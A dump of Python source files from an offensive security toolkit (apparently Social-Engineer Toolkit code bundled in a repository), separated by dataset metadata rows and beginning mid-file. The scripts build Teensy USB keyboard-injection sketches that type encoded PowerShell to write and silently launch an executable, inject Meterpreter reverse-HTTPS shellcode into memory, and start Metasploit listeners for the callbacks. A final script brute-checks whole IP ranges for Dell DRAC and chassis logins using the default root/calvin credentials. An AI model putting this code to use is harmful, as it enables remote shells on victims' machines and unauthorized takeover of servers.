LPORT=%s %s --format raw -e x86/alpha_mixed BufferRegister=EAX" % (meta_path(),payload,ipaddr,port,url), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read in stdout which will be our alphanumeric shellcode alpha_payload = proc.stdout.read() # generate a random filename this is going to be needed to read 150 bytes in at a time random_filename = generate_random_string(10,15) # prep a file to write filewrite = file(random_filename, "wb") # write the hex to random file filewrite.write(shell_exec) # close it filewrite.close() # open up the random file fileopen=file(random_filename, "r") # base counter will be used for the const char RevShell_counter counter = 0 # space to write out per line in the teensy ino file space = 50 # rev counter is used for the second writeout rev_counter = 0 # here we begin the code output_variable = "/* Teensy Hex to File Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K) - file ext changed to .ino and prog_char & PROGMEM modified */\n#include <avr/pgmspace.h>\n" # powershell command here, needs to be unicoded then base64 in order to use encodedcommand powershell_command = str("$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename)) ######################################################################################################################################################################################################## # # there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. python does not so the encodedcommand becomes corrupt # in order to get around this a null byte is pushed to each string value to fix this and make the encodedcommand work properly # ######################################################################################################################################################################################################## # blank command will store our fixed unicode variable blank_command = "" # loop through each character and insert null byte for char in powershell_command: # insert the nullbyte blank_command += char + "\x00" # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command powershell_command = base64.b64encode(powershell_command) # while true while 1: # read 150 bytes in at a time reading_hex = fileopen.read(space).rstrip() # if its blank then break out of loop if reading_hex == "": break # write out counter and hex output_variable += 'const char RevShell_%s[] = "%s";\n' % (counter,reading_hex) # increase counter counter = counter +1 # write out the rest output_variable += "const char *exploit[] = {\n" # while rev_counter doesn't equal regular counter while rev_counter != counter: output_variable+="RevShell_%s" % rev_counter # incremenet counter rev_counter = rev_counter + 1 if rev_counter == counter: # if its equal that means we # are done and need to append a }; output_variable+="};\n" if rev_counter != counter: # if we don't equal, keep going output_variable+=",\n" # vbs filename vbs = generate_random_string(10,15) + ".vbs" # .batch filename bat = generate_random_string(10,15) + ".bat" # write the rest of the teensy code output_variable += (""" char buffer[55]; int ledPin = 11; void setup() { pinMode(ledPin, OUTPUT); } void loop() { BlinkFast(2); delay(5000); CommandAtRunBar("cmd /c echo 0 > %%TEMP%%\\\\%s"); delay(750); CommandAtRunBar("notepad %%TEMP%%\\\\%s"); delay(1000); // Delete the 0 Keyboard.set_key1(KEY_DELETE); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); // Write the binary to the notepad file int i; for (i = 0; i < sizeof(exploit)/sizeof(int); i++) { strcpy_P(buffer, (char*)pgm_read_word(&(exploit[i]))); Keyboard.print(buffer); delay(80); } // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST! delay(5000); CtrlS(); delay(2000); AltF4(); delay(5000); // Cannot pass entire encoded command because of the start run length // run through cmd CommandAtRunBar("cmd"); delay(1000); Keyboard.println("powershell -EncodedCommand %s"); delay(4000); Keyboard.println("echo Set WshShell = CreateObject(\\"WScript.Shell\\") > %%TEMP%%\\\\%s"); Keyboard.println("echo WshShell.Run chr(34) ^& \\"%%TEMP%%\\\\%s\\" ^& Chr(34), 0 >> %%TEMP%%\\\\%s"); Keyboard.println("echo Set WshShell = Nothing >> %%TEMP%%\\\\%s"); Keyboard.println("echo %%TEMP%%\\\\%s.exe %s > %%TEMP%%\\\\%s"); Keyboard.println("wscript %%TEMP%%\\\\%s"); delay(1000); Keyboard.println("exit"); delay(9000000); } void BlinkFast(int BlinkRate){ int BlinkCounter=0; for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){ digitalWrite(ledPin, HIGH); delay(80); digitalWrite(ledPin, LOW); delay(80); } } void AltF4(){ Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.set_key1(KEY_F4); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void CtrlS(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_S); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } // Taken from IronGeek void CommandAtRunBar(char *SomeCommand){ Keyboard.set_modifier(128); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1500); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void PRES(int KeyCode){ Keyboard.set_key1(KeyCode); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void SPRE(int KeyCode){ Keyboard.set_modifier(MODIFIERKEY_SHIFT); Keyboard.set_key1(KeyCode); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }""" % (random_filename,random_filename,powershell_command,vbs,bat,vbs,vbs,random_filename,alpha_payload,bat,vbs)) # delete temporary file subprocess.Popen("rm %s 1> /dev/null 2>/dev/null" % (random_filename), shell=True).wait() if not os.path.isdir(userconfigpath + "reports"): os.makedirs(userconfigpath + "reports") print_status("Binary to Teensy file exported as %sreports/binary2teensy" % (userconfigpath)) # write the teensy.ino file out filewrite = file(userconfigpath + "reports/binary2teensy.ino", "w") # write the teensy.ino file out filewrite.write(output_variable) # close the file filewrite.close() print_status("Generating a listener...") # create our metasploit answer file filewrite = file(userconfigpath + "answer.txt", "w") filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) filewrite.close() # spawn a multi/handler listener subprocess.Popen("msfconsole -r %sanswer.txt" % (userconfigpath), shell=True).wait() print_status("[*] Housekeeping old files...") # if our answer file is still there (which it should be), then remove it if os.path.isfile(userconfigpath + "answer.txt"): # remove the old file, no longer used once we've exited subprocess.Popen("rm " + userconfigpath + "answer.txt", shell=True).wait()
22,179
Python
.py
304
70.095395
10,255
0.795852
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,792
teensy.py
CHEGEBB_africana-framework/externals/set/src/teensy/teensy.py
#!/usr/bin/env python3 # coding=utf-8 ############################ # # Teensy HID Attack Vector # ############################ import datetime import os import re import subprocess import src.core.setcore as core # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass # pull metasploit path msf_path = core.meta_path() # check operating system operating_system = core.check_os() now = datetime.datetime.today() if operating_system != "windows": import pexpect # check to see if userconfigpath is created if not os.path.isdir(os.path.join(core.userconfigpath, "reports")): os.makedirs(os.path.join(core.userconfigpath, "reports")) definepath = os.getcwd() # define if use apache or not apache = False # open set_config here with open("/etc/setoolkit/set.config") as fileopen: apache_check = fileopen.readlines() # loop this guy to search for the APACHE_SERVER config variable for line in apache_check: # strip \r\n line = line.rstrip() # if apache is turned on get things ready match = re.search("APACHE_SERVER=ON", line) # if its on lets get apache ready if match: for line2 in apache_check: # set the apache path here match2 = re.search("APACHE_DIRECTORY=", line2) if match2: line2 = line2.rstrip() apache_path = line2.replace("APACHE_DIRECTORY=", "") apache = True # grab info from config file with open(os.path.join(core.userconfigpath, "teensy")) as fileopen: counter = 0 payload_counter = 0 choice = None for line in fileopen: line = line.rstrip() if counter == 0: choice = str(line) if counter == 1: payload_counter = 1 counter += 1 if choice != "14": # Open the IPADDR file if core.check_options("IPADDR=") != 0: ipaddr = core.check_options("IPADDR=") else: ipaddr = input(core.setprompt(["6"], "IP address to connect back on")) core.update_options("IPADDR=" + ipaddr) if not os.path.isfile(os.path.join(core.userconfigpath, "teensy")): core.print_error("FATAL:Something went wrong, the Teensy config file was not created.") core.exit_set() def writefile(filename, now): with open(os.path.join("src/teensy/" + filename)) as fileopen, \ open(os.path.join(core.userconfigpath, "reports/teensy_{0}.ino".format(now)), "w") as filewrite: for line in fileopen: match = re.search("IPADDR", line) if match: line = line.replace("IPADDR", ipaddr) match = re.search("12,12,12,12", line) if match: ipaddr_replace = ipaddr.replace(".", ",", 4) line = line.replace("12,12,12,12", ipaddr_replace) filewrite.write(line) # powershell downloader if choice == "1": writefile("powershell_down.ino", now) # wscript downloader if choice == "2": writefile("wscript.ino", now) # powershell reverse if choice == "3": writefile("powershell_reverse.ino", now) # beef injector if choice == "4": writefile("beef.ino", now) # java applet downloader if choice == "5": writefile("java_applet.ino", now) # gnome wget downloader if choice == "6": writefile("gnome_wget.ino", now) if choice == "13": writefile("peensy.ino", now) payload_counter = 0 # save our stuff here print(core.bcolors.BLUE + "\n[*] INO file created. You can get it under '{0}'".format(os.path.join(core.userconfigpath, "reports" + "teensy_{0}.ino".format(now))) + core.bcolors.ENDC) print(core.bcolors.GREEN + '[*] Be sure to select "Tools", "Board", and "Teensy 2.0 (USB/KEYBOARD)" in Arduino' + core.bcolors.ENDC) print(core.bcolors.RED + "\n[*] If your running into issues with VMWare Fusion and the start menu, uncheck\nthe 'Enable Key Mapping' under preferences in VMWare" + core.bcolors.ENDC) pause = input("Press {return} to continue.") if payload_counter == 1: webclone_path = os.path.join(core.userconfigpath, "web_clone") metasploit_exec_path = os.path.join(core.userconfigpath, "msf.exe") if not apache: subprocess.Popen("mkdir {0};" "cp {1} {2} 1> /dev/null 2> /dev/null".format(webclone_path + metasploit_exec_path + os.path.join(webclone_path + "x.exe")), shell=True).wait() if operating_system != "windows": child = pexpect.spawn("python3 src/html/web_server.py") else: subprocess.Popen("cp {0} {1}".format(metasploit_exec_path, os.path.join(webclone_path + "x.exe")), shell=True).wait() if os.path.isfile(os.path.join(core.userconfigpath, "meta_config")): print(core.bcolors.BLUE + "\n[*] Launching MSF Listener...") print(core.bcolors.BLUE + "[*] This may take a few to load MSF..." + core.bcolors.ENDC) try: if operating_system != "windows": child1 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(msf_path + "msfconsole"), os.path.join(core.userconfigpath, "meta_config"))) child1.interact() except: if operating_system != "windows": if not apache: child.close() child1.close()
5,730
Python
.py
143
31.160839
144
0.587187
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,793
powershell_shellcode.py
CHEGEBB_africana-framework/externals/set/src/teensy/powershell_shellcode.py
#!/usr/bin/python3 # coding=utf-8 import os import time import pexpect import src.core.setcore as core # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass print(""" The powershell - shellcode injection leverages powershell to send a meterpreter session straight into memory without ever touching disk. This technique was introduced by Matthew Graeber (http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html) """) payload = input('Enter the payload name [or Enter for windows/meterpreter/reverse_https]: ') if payload == '': payload = 'windows/meterpreter/reverse_https' # create base metasploit payload to pass to powershell.prep with open(os.path.join(core.userconfigpath, "metasploit.payload"), 'w') as filewrite: filewrite.write(payload) ipaddr = input("Enter the IP of the LHOST: ") port = input("Enter the port for the LHOST: ") shellcode = core.generate_powershell_alphanumeric_payload(payload, ipaddr, port, "") with open(os.path.join(core.userconfigpath, 'x86.powershell'), 'w') as filewrite: filewrite.write(shellcode) time.sleep(3) with open(os.path.join(core.userconfigpath, "x86.powershell")) as fileopen: pass # read in x amount of bytes data_read = int(50) output_variable = "#define __PROG_TYPES_COMPAT__\n#include <avr/pgmspace.h>\n" counter = 0 while True: reading_encoded = fileopen.read(data_read).rstrip() if not reading_encoded: break output_variable += 'const char RevShell_{0}[] = {{"{1}"}};\n'.format(counter, reading_encoded) counter += 1 rev_counter = 0 output_variable += "const char * exploit[] = {\n" while rev_counter != counter: output_variable += "RevShell_{0}".format(rev_counter) rev_counter += 1 if rev_counter == counter: output_variable += "};\n" else: output_variable += ",\n" teensy = output_variable # write the rest of the teensy code teensy += (""" char buffer[55]; int ledPin = 11; void setup() { pinMode(ledPin, OUTPUT); } void loop() { BlinkFast(2); delay(5000); CommandAtRunBar("cmd"); delay(750); Keyboard.print("%s"); // Write the binary to the notepad file int i; for (i = 0; i < sizeof(exploit)/sizeof(int); i++) { strcpy_P(buffer, (char*)pgm_read_word(&(exploit[i]))); Keyboard.print(buffer); delay(30); } // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST! Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); //delay(20000); //Keyboard.println("exit"); delay(9000000); } void BlinkFast(int BlinkRate){ int BlinkCounter=0; for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){ digitalWrite(ledPin, HIGH); delay(80); digitalWrite(ledPin, LOW); delay(80); } } void AltF4(){ Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.set_key1(KEY_F4); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void CtrlS(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_S); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } // Taken from IronGeek void CommandAtRunBar(char *SomeCommand){ Keyboard.set_modifier(128); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1500); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void PRES(int KeyCode){ Keyboard.set_key1(KeyCode); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void SPRE(int KeyCode){ Keyboard.set_modifier(MODIFIERKEY_SHIFT); Keyboard.set_key1(KeyCode); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } """ % (core.powershell_encodedcommand(shellcode))) print("[*] Payload has been extracted. Files can be found under /root/.set/reports/teensy.ino") if not os.path.isdir(os.path.join(core.userconfigpath, "reports")): os.makedirs(os.path.join(core.userconfigpath, "reports")) with open(os.path.join(core.userconfigpath, "reports/teensy.ino"), "w") as filewrite: filewrite.write(teensy) choice = core.yesno_prompt("0", "Do you want to start a listener [yes/no] ") if choice == "YES": # Open the IPADDR file if core.check_options("IPADDR=") != 0: ipaddr = core.check_options("IPADDR=") else: ipaddr = input("LHOST IP address to connect back on: ") core.update_options("IPADDR=" + ipaddr) if core.check_options("PORT=") != 0: port = core.check_options("PORT=") else: port = input("Enter the port to connect back on: ") with open(os.path.join(core.userconfigpath, "metasploit.answers"), "w") as filewrite: filewrite.write("use multi/handler\n" "set payload {0}\n" "set LHOST {1}\n" "set LPORT {2}\n" "set AutoRunScript post/windows/manage/smart_migrate\n" "exploit -j".format(payload, ipaddr, port)) print("[*] Launching Metasploit....") try: child = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"), os.path.join(core.userconfigpath, "metasploit.answers"))) child.interact() except: pass
5,484
Python
.py
166
28.831325
136
0.681715
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,794
sd2teensy.py
CHEGEBB_africana-framework/externals/set/src/teensy/sd2teensy.py
#!/usr/bin/python3 import base64 import binascii import os import subprocess import src.core.setcore as core ########################################################################## # # BSIDES LV SDCARD to Teensy Creator # # by Josh Kelley (@winfang98) # Dave Kennedy (@hackingdave) # ########################################################################## ########################################################################## ########################################################################## # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass # print main stuff for the application print(""" ******************************************************************** BSIDES Las Vegas ---- SDCard to Teensy Creator ******************************************************************** Written by: Josh Kelley (@winfang98) and Dave Kennedy (ReL1K, @hackingdave) This tool will read in a file from the Teensy SDCard, not mount it via Windows and perform a hex to binary conversion via Powershell. It requires you to have a Teensy device with a soldered USB device on it and place the file that this tool outputs in order to successfully complete the task. It works by reading natively off the SDCard into a buffer space thats then written out through the keyboard. """) # if we hit here we are good since msfvenom is installed print(""" .-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-. |.. |-| |\| |.. `-. | |- |( |\/| | | | )|- `-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-' enabled.\n""") # grab the path and filename from user path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard")) if not os.path.isfile(path): while True: core.print_warning("Filename not found, try again") path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard")) if os.path.isfile(path): break core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.") core.print_status("Converting the executable to a hexadecimal form to be converted later...") with open(path, "rb") as fileopen: data = fileopen.read() data = binascii.hexlify(data) with open("converts.txt", "w") as filewrite: filewrite.write(data) print("[*] File converted successfully. It has been exported in the working directory under 'converts.txt'. " "Copy this one file to the teensy SDCard.") output_variable = "/*\nTeensy Hex to File SDCard Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)\n" \ "Reading from a SD card. Based on code from: http://arduino.cc/en/Tutorial/DumpFile\n*/\n\n" # this is used to write out the file random_filename = core.generate_random_string(8, 15) + ".txt" # powershell command here, needs to be unicoded then base64 in order to # use encodedcommand powershell_command = ("$s=gc \"$HOME\\AppData\\Local\\Temp\\{random_filename}\";" "$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');" "$b=new-object byte[] $($s.Length/2);" "0..$($b.Length-1)|%{{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)}};" "[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\{random_filename}.exe\",$b)".format(random_filename=random_filename)) ########################################################################## # # there is an odd bug with python unicode, traditional unicode inserts a # null byte after each character typically.. python does not so the encoded # command becomes corrupt in order to get around this a null byte is pushed # to each string value to fix this and make the encodedcommand work properly # ########################################################################## # blank command will store our fixed unicode variable blank_command = "" # loop through each character and insert null byte for char in powershell_command: # insert the nullbyte blank_command += char + "\x00" # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command powershell_command = base64.b64encode(powershell_command) # vbs filename vbs = core.generate_random_string(10, 15) + ".vbs" # .batch filename bat = core.generate_random_string(10, 15) + ".bat" # write the rest of the teensy code output_variable += (r""" #include <avr/pgmspace.h> #include <SD.h> // Teensy ++ LED is 6. Teensy the LED is 11. int ledPin = 6; void setup() {{ BlinkFast(2); delay(5000); CommandAtRunBar("cmd /c echo 0 > %TEMP%\\\\{random_filename}"); delay(750); CommandAtRunBar("notepad %TEMP%\\\\{random_filename}"); delay(1000); // Delete the 0 PRES(KEY_DELETE); // This is the SS pin on the Teensy. Pin 20 on the Teensy ++. Pin 0 on the Teensy. const int chipSelect = 20; // make sure that the default chip select pin is set to // output, even if you don't use it: pinMode(10, OUTPUT); // see if the card is present and can be initialized: if (!SD.begin(chipSelect)) {{ Keyboard.println("Card failed, or not present"); // don't do anything more: return; }} // open the file. note that only one file can be open at a time, // so you have to close this one before opening another. // Larger the file, more likely it wouldn't fit in a normal int var. // This is the workaround for it. long int filePos; long int fileSize; File dataFile = SD.open("converts.txt"); if (dataFile) {{ fileSize = dataFile.size(); for (filePos = 0; filePos <= fileSize; filePos++) {{ Keyboard.print(dataFile.read(),BYTE); delay(10); }} dataFile.close(); }} else {{ Keyboard.println("error opening converts.txt"); }} // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST! delay(5000); CtrlS(); delay(2000); AltF4(); delay(5000); // Cannot pass entire encoded command because of the start run length // run through cmd CommandAtRunBar("cmd"); delay(1000); Keyboard.println("{encodedcommand}"); // Tweak this delay. Larger files take longer to decode through powershell. delay(10000); Keyboard.println("echo Set WshShell = CreateObject(\\"WScript.Shell\\") > %TEMP%\\\\{vbs}"); Keyboard.println("echo WshShell.Run chr(34) ^& \\"%TEMP%\\\\{bat}\\" ^& Chr(34), 0 >> %TEMP%\\\\{vbs}"); Keyboard.println("echo Set WshShell = Nothing >> %TEMP%\\\\{vbs}"); Keyboard.println("echo %TEMP%\\\\{random_filename}.exe > %TEMP%\\\\{bat}"); Keyboard.println("wscript %TEMP%\\\\{vbs}"); delay(1000); Keyboard.println("exit"); }} void loop () {{}} void BlinkFast(int BlinkRate){{ int BlinkCounter=0; for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){{ digitalWrite(ledPin, HIGH); delay(80); digitalWrite(ledPin, LOW); delay(80); }} }} void AltF4(){{ Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.set_key1(KEY_F4); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }} void CtrlS(){{ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_S); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); }} // Taken from IronGeek void CommandAtRunBar(char *SomeCommand){{ Keyboard.set_modifier(128); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(1500); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }} void PRES(int KeyCode){{ Keyboard.set_key1(KeyCode); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }} """.format(random_filename=random_filename, encodedcommand=core.powershell_encodedcommand(powershell_command), vbs=vbs, bat=bat)) # delete temporary file subprocess.Popen("rm {0} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait() print("[*] Binary to Teensy file exported as teensy.ino") # write the teensy.ino file out with open("teensy.ino", "w") as filewrite: # write the teensy.ino file out filewrite.write(output_variable) print(""" Instructions: Copy the converts.txt file to the sdcard on the Teensy device. Use the teensy.ino normally and use the Arduino IDE to place the latest code in there. Notice that you need to change some code marked above based on the Teensy and the Teensy++ based on how you soldered the PIN's on. Happy hacking. """) core.return_continue()
8,729
Python
.py
221
36.325792
148
0.634627
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,795
delldrac.py
CHEGEBB_africana-framework/externals/set/src/fasttrack/delldrac.py
#!/usr/bin/env python3 # coding=utf-8 ########################################### # # Dell DRAC and Chassis Scanner # Default Credential Check # UN: root PW: calvin # # Written by Dave Kennedy (ReL1K) # Company: TrustedSec, LLC # Website: https://www.trustedsec.com # @TrustedSec # ########################################## import re import threading import time try: # Py2 from urllib import urlencode, urlopen except ImportError: # Py3 from urllib.request import urlopen from urllib.parse import urlencode # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass class bcolors(object): PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERL = '\033[4m' ENDC = '\033[0m' backBlack = '\033[40m' backRed = '\033[41m' backGreen = '\033[42m' backYellow = '\033[43m' backBlue = '\033[44m' backMagenta = '\033[45m' backCyan = '\033[46m' backWhite = '\033[47m' def disable(self): self.PURPLE = '' self.CYAN = '' self.BLUE = '' self.GREEN = '' self.YELLOW = '' self.RED = '' self.ENDC = '' self.BOLD = '' self.UNDERL = '' self.backBlack = '' self.backRed = '' self.backGreen = '' self.backYellow = '' self.backBlue = '' self.backMagenta = '' self.backCyan = '' self.backWhite = '' self.DARKCYAN = '' # try logging into DRAC, chassis is something different def login_drac(ipaddr_single): # default post string url = "https://{0}/Applications/dellUI/RPC/WEBSES/create.asp".format(ipaddr_single) # post parameters opts = {"WEBVAR_PASSWORD": "calvin", "WEBVAR_USERNAME": "root", "WEBVAR_ISCMCLOGIN": 0} # URL encode it data = urlencode(opts) # our headers to pass (taken from raw post) headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:14.0) Gecko/20100101 Firefox/14.0.1", # "Host": "10.245.196.52", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "https://{0}/Applications/dellUI/login.htm".format(ipaddr_single), "Content-Length": 63, "Cookie": "test=1; SessionLang=EN", "Pragma": "no-cache", "Cache-Control": "no-cache"} # request the page try: # capture the response response = urlopen(url, data, headers, timeout=2) data = response.read() # if we failed our login, just pass through if "Failure_Login_IPMI_Then_LDAP" in data: pass # Failure_No_Free_Slot means there are no sessions available need to # log someone off if "Failure_No_Free_Slot" in data: print(("{0}[!]{1} There are to many people logged but un: root and pw: calvin are legit on IP: {2}".format(bcolors.YELLOW, bcolors.ENDC, ipaddr_single))) global global_check1 global_check1 = 1 # if we are presented with a username back, we are golden if "'USERNAME' : 'root'" in data: print("{0}[*]{1} Dell DRAC compromised! username: root and password: calvin for IP address: {2}".format(bcolors.GREEN, bcolors.ENDC, ipaddr_single)) global global_check2 global_check2 = 1 # handle failed attempts and move on except: pass # these are for the centralized dell chassis def login_chassis(ipaddr_single): # our post URL url = "https://{0}/cgi-bin/webcgi/login".format(ipaddr_single) # our post parameters opts = {"WEBSERVER_timeout": "1800", "user": "root", "password": "calvin", "WEBSERVER_timeout_select": "1800"} # url encode data = urlencode(opts) # headers (taken from raw POST) headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:14.0) Gecko/20100101 Firefox/14.0.1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "https://{0}/cgi-bin/webcgi/login".format(ipaddr_single), "Content-Length": 78} # request the page # req = Request(url, data, headers) try: # capture the response response = urlopen(url, data, headers, timeout=2) data = response.read() # if we failed to login if "login_failed_hr_top" in data: pass # login failed # to many people logged in at a given time if 'Connection refused, maximum sessions already in use.' in data: print(("{0}[!]{1} There are to many people logged but un: root and pw: calvin are legit on IP: {2}".format(bcolors.YELLOW, bcolors.ENDC, ipaddr_single))) global global_check3 global_check3 = 1 # successful guess of passwords if "/cgi-bin/webcgi/index" in data: print("{0}[*]{1} Dell Chassis Compromised! username: root password: calvin for IP address: {2}".format(bcolors.GREEN, bcolors.ENDC, ipaddr_single)) global global_check4 global_check4 = 1 # except and move on for failed login attempts except: pass # this will check to see if we are using # a valid IP address for scanning def is_valid_ip(ip): pattern = re.compile(r""" ^ (?: # Dotted variants: (?: # Decimal 1-255 (no leading 0's) [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} | 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) | 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) ) (?: # Repeat 0-3 times, separated by a dot \. (?: [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} | 0x0*[0-9a-f]{1,2} | 0+[1-3]?[0-7]{0,2} ) ){0,3} | 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff | 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 | # Decimal notation, 1-4294967295: 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} ) $ """, re.VERBOSE | re.IGNORECASE) return pattern.match(ip) is not None # convert to 32 bit binary from standard format def ip2bin(ip): b = "" in_quads = ip.split(".") out_quads = 4 for q in in_quads: if q != "": b += dec2bin(int(q), 8) out_quads -= 1 while out_quads > 0: b += "00000000" out_quads -= 1 return b # decimal to binary conversion def dec2bin(n, d=None): s = "" while n > 0: if n & 1: s = "1" + s else: s = "0" + s n >>= 1 if d is not None: while len(s) < d: s = "0" + s if s == "": s = "0" return s # convert a binary string into an IP address def bin2ip(b): ip = "" for i in range(0, len(b), 8): ip += str(int(b[i:i + 8], 2)) + "." return ip[:-1] # print a list of IP addresses based on the CIDR block specified def scan(ipaddr): if "/" in ipaddr: parts = ipaddr.split("/") base_ip = ip2bin(parts[0]) subnet = int(parts[1]) if subnet == 32: ipaddr = bin2ip(base_ip) else: # our base ip addresses for how many we are going to be scanning counter = 0 # capture the threads threads = [] ip_prefix = base_ip[:-(32 - subnet)] for i in range(2 ** (32 - subnet)): ipaddr_single = bin2ip(ip_prefix + dec2bin(i, (32 - subnet))) # if we are valid proceed ip_check = is_valid_ip(ipaddr_single) if ip_check: # do this to limit how fast it can scan, anything more # causes CPU to hose if counter > 255: # put a small delay in place time.sleep(0.1) # increase counter until 255 then delay 0.1 counter += 1 # start our drac BF thread = threading.Thread(target=login_drac, args=(ipaddr_single,)) # create a list of our threads in a dictionary threads.append(thread) # start the thread thread.start() # same as above just on the chassis thread = threading.Thread(target=login_chassis, args=(ipaddr_single,)) # append the thread threads.append(thread) # start the thread thread.start() # wait for all the threads to terminate for thread in threads: thread.join() # if we are using a single IP address then just do this if "/" not in ipaddr: login_drac(ipaddr) login_chassis(ipaddr) print("\n") print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++") print("Fast-Track DellDRAC and Dell Chassis Discovery and Brute Forcer") print("") print("Written by Dave 